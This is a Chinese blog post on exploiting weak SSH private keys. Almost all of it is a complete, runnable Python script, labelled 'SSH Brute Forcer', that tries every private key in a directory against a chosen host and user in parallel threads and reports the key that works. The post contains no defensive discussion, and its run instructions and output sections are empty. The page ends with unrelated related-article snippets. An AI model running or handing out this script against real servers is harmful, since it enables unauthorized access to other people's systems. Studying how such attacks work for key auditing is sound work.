利用SSH中的弱私钥

news2024/11/19 0:31:22

import paramiko
import argparse
import os
from threading import Thread, BoundedSemaphore

# 设置最大连接数
maxConnections = 5
# 创建一个有界信号量,用于控制同时进行的连接数
connection_lock = BoundedSemaphore(value=maxConnections)
# 用于控制是否停止所有线程的全局变量
Stop = False
# 用于记录失败连接次数的全局变量
Fails = 0

def connect(user, host, keyfile, release):
    global Stop
    global Fails
    try:
        # 创建SSH客户端实例
        client = paramiko.SSHClient()
        # 设置SSH客户端自动添加主机密钥
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        # 尝试使用提供的密钥文件连接到SSH服务器
        client.connect(hostname=host, username=user, key_filename=keyfile)
        # 如果连接成功,打印成功信息
        print(f"[+] Success with key: {keyfile}")
    except paramiko.AuthenticationException:
        # 如果认证失败,打印认证失败信息
        print(f"[-] Authentication failed, please verify the key: {keyfile}")
    except paramiko.SSHException as e:
        # 如果发生SSH异常,打印错误信息并增加失败次数
        print(f"[-] SSH error: {e}")
        Fails += 1
    except Exception as e:
        # 如果发生其他异常,打印错误信息
        print(f"[-] Error: {e}")
    finally:
        # 如果release为True,则释放信号量
        if release:
            connection_lock.release()
        # 如果客户端存在,则关闭客户端连接
        if client:
            client.close()

def main():
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='SSH Brute Forcer')
    # 添加命令行参数:目标主机
    parser.add_argument('-H', '--host', required=True, help='specify target host')
    # 添加命令行参数:密钥文件目录
    parser.add_argument('-d', '--directory', required=True, help='specify directory with keys')
    # 添加命令行参数:用户名
    parser.add_argument('-u', '--user', required=True, help='specify the user')
    # 解析命令行参数
    args = parser.parse_args()

    # 获取命令行参数的值
    host = args.host
    passDir = args.directory
    user = args.user
    # 如果缺少必要的参数,则打印帮助信息并退出
    if not host or not passDir or not user:
        parser.print_help()
        exit(0)

    # 遍历密钥文件目录中的所有文件
    for filename in os.listdir(passDir):
        # 如果已经找到正确的密钥,则退出程序
        if Stop:
            print('[*] Exiting: Key Found.')
            exit(0)
        # 如果失败次数超过限制,则打印警告信息并退出程序
        if Fails > 5:
            print('[!] Exiting: Too Many Connections Closed By Remote Host.')
            print('[!] Adjust number of simultaneous threads.')
            exit(0)
        # 获取信号量,控制同时进行的连接数
        connection_lock.acquire()
        # 构造完整的密钥文件路径
        fullpath = os.path.join(passDir, filename)
        # 如果文件是公钥文件,则跳过
        if filename.endswith('.pub'):
            print(f'[-] Skipping public key file: {fullpath}')
            connection_lock.release()
            continue
        # 打印正在测试的密钥文件
        print(f'[-] Testing keyfile {fullpath}')
        # 创建新线程来处理密钥文件的连接测试
        t = Thread(target=connect, args=(user, host, fullpath, True))
        # 启动线程
        t.start()

if __name__ == '__main__':
    # 如果直接运行该脚本,则执行main函数
    main()
运行方法:



运行结果:
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2243081.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Python的仓库管理系统设计与实现

背景: 基于Python的仓库管理系统功能介绍 本仓库管理系统采用Python语言开发,利用Django框架和MySQL数据库,实现了高效、便捷的仓库管理功能。 用户管理: 支持员工和管理员角色的管理。 用户注册、登录和权限分配功能&#x…

自动驾驶系列—从数据采集到存储:解密自动驾驶传感器数据采集盒子的关键技术

🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…

vue3【实战】切换白天黑夜(暗黑模式)【组件封装】DarkMode.vue

效果预览 原理解析 切换为暗黑模式时,会在 html 标签上添加样式类 dark导入 ElementPlus 的暗黑模式样式后, ElementPlus 组件会自动响应暗黑模式自定义组件需用 UnoCSS 的 dark: 语法自定义暗黑模式的样式 代码实现 技术方案 vue3 vite ElementPlus …

java八股-jvm入门-程序计数器,堆,元空间,虚拟机栈,本地方法栈,类加载器,双亲委派,类加载执行过程

文章目录 PC Register堆虚拟机栈方法区(Metaspace元空间双亲委派机制类加载器 类装载的执行过程 PC Register 程序计数器(Program Counter Register)是 Java 虚拟机(JVM)中的一个组件,它在 JVM 的内存模型中扮演着非常…

Nature Communications 基于触觉手套的深度学习驱动视触觉动态重建方案

在人形机器人操作领域,有一个极具价值的问题:鉴于操作数据在人形操作技能学习中的重要性,如何有效地从现实世界中获取操作数据的完整状态?如果可以,那考虑到人类庞大规模的人口和进行复杂操作的简单直观性与可扩展性&a…

Linux:进程的优先级 进程切换

文章目录 前言一、进程优先级1.1 基本概念1.2 查看系统进程1.3 PRI和NI1.4 调整优先级1.4.1 top命令1.4.2 nice命令1.4.3 renice命令 二、进程切换2.1 补充概念2.2 进程的运行和切换步骤(重要) 二、Linux2.6内核进程O(1)调度队列(重要&#x…

鸿蒙学习生态应用开发能力全景图-赋能套件(1)

文章目录 赋能套件鸿蒙生态应用开发能力全景图 赋能套件 鸿蒙生态白皮书: 全面阐释了鸿蒙生态下应用开发核心理念、关键能力以及创新体验,旨在帮助开发者快速、准确、全面的了解鸿蒙开发套件给开发者提供的能力全景和未来的愿景。 视频课程: 基于真实的开发场景,提供向导式…

Docker 的安装与使用

Docker 的安装 Docker 是一个开源的商业产品,有两个版本:社区版(Community Edition,缩写为 CE)和企业版(Enterprise Edition,缩写为 EE)。 Docker CE 的安装请参考官方文档&#xf…

MATLAB向量元素的引用

我们定义一个向量后,如果想引用的话,可以通过索引 i n d ind ind来实现。 注意:MATLAB中向量的开始索引是1,与许多编程语言不同。 例如: 如果想引用多个的话,可以用索引 i n d ind ind来提取多个位置 例如…

力扣周赛:第424场周赛

👨‍🎓作者简介:爱好技术和算法的研究生 🌌上期文章:力扣周赛:第422场周赛 📚订阅专栏:力扣周赛 希望文章对你们有所帮助 第一道题模拟题,第二道题经典拆分数组/线段树都…

SpringBoot配置相关的内容

依赖Starter和Parent 查依赖坐标网站:Maven Repository: Search/Browse/Explorehttps://mvnrepository.com/ 设置配置文件 配置文件相关的配置 yml多个数据的书写 配置文件的读取

第九部分 :1.STM32之通信接口《精讲》(USART,I2C,SPI,CAN,USB)

本芯片使用的是STM32F103C8T6型号 STM32F103C8T6是STM32F1系列中的一种较常用的低成本ARM Cortex-M3内核MCU,具有丰富的通信接口,包括USART、SPI、I2C等。下面是该芯片上通信接口的管脚分布、每个接口的工作模式、常用应用场景和注意事项。 1. USART (通…

【计算机网络】协议定制

一、结构化数据传输流程 这里涉及协议定制、序列化/反序列化的知识 对于序列化和反序列化,有现成的解决方案:①json ②probuff ③xml 二、理解发送接收函数 我们调用的所有发送/接收函数,根本就不是把数据发送到网络中!本质都是…

WebRTC视频 02 - 视频采集类 VideoCaptureModule

WebRTC视频 01 - 视频采集整体架构 WebRTC视频 02 - 视频采集类 VideoCaptureModule(本文) WebRTC视频 03 - 视频采集类 VideoCaptureDS 上篇 WebRTC视频 04 - 视频采集类 VideoCaptureDS 中篇 WebRTC视频 05 - 视频采集类 VideoCaptureDS 下篇 一、前言…

解决Windows远程桌面 “为安全考虑,已锁定该用户账户,原因是登录尝试或密码更改尝试过多。请稍后片刻再重试,或与系统管理员或技术支持联系“问题

当我们远程连接服务器连接不上并提示“为安全考虑,已锁定该用户账户,原因是登录尝试或密码更改尝试过多。请稍候片刻再重试,或与系统管理员或技术支持联系”时,根本原因是当前计算机远程连接时输入了过多的错误密码,触…

企业BI工具如何选择?主流5款BI工具多维对比

数据大爆炸时代,企业数据爆发式增长,来自产品、运营、价值链以及外部的数据都成指数级增长趋势。利用大数据分析实现精细化运营,驱动业务增长是企业的理想蓝图。而BI工具能够整合、分析并可视化复杂的数据集,帮助管理层和决策者快…

Sping全面复习

Spring框架是一个功能强大且广泛使用的Java平台,它通过提供全面的基础设施支持,使得开发人员能够轻松构建高效、可移植、易于测试的代码。Spring的核心特性包括依赖注入(DI)、面向切面编程(AOP)和事件驱动模…

深挖C++赋值

详解赋值 const int a 10; int b a;&a 0x000000b7c6afef34 {56496} &a 0x000000b7c6afef34 {10} 3. &b 0x000000b7c6afef54 {10} 总结: int a 10 是指在内存中(栈)中创建一个int (4 byte)大小的空间…

vue项目使用eslint+prettier管理项目格式化

代码格式化、规范化说明 使用eslintprettier进行格式化,vscode中需要安装插件ESLint、Prettier - Code formatter,且格式化程序选择为后者(vue文件、js文件要分别设置) 对于eslint规则,在格式化时不会全部自动调整&…

让空间计算触手可及,VR手套何以点石成金?

引言 如何让一位母亲与她去世的小女儿“重逢”?韩国MBC电视台《I Met You》节目实现了一个“不可能”心愿。 在空旷的绿幕中,母亲Jang Ji-sung透过VR头显,看到了三年前因白血病去世的女儿Nayeon。当她伸出双手,居然能摸到女儿的…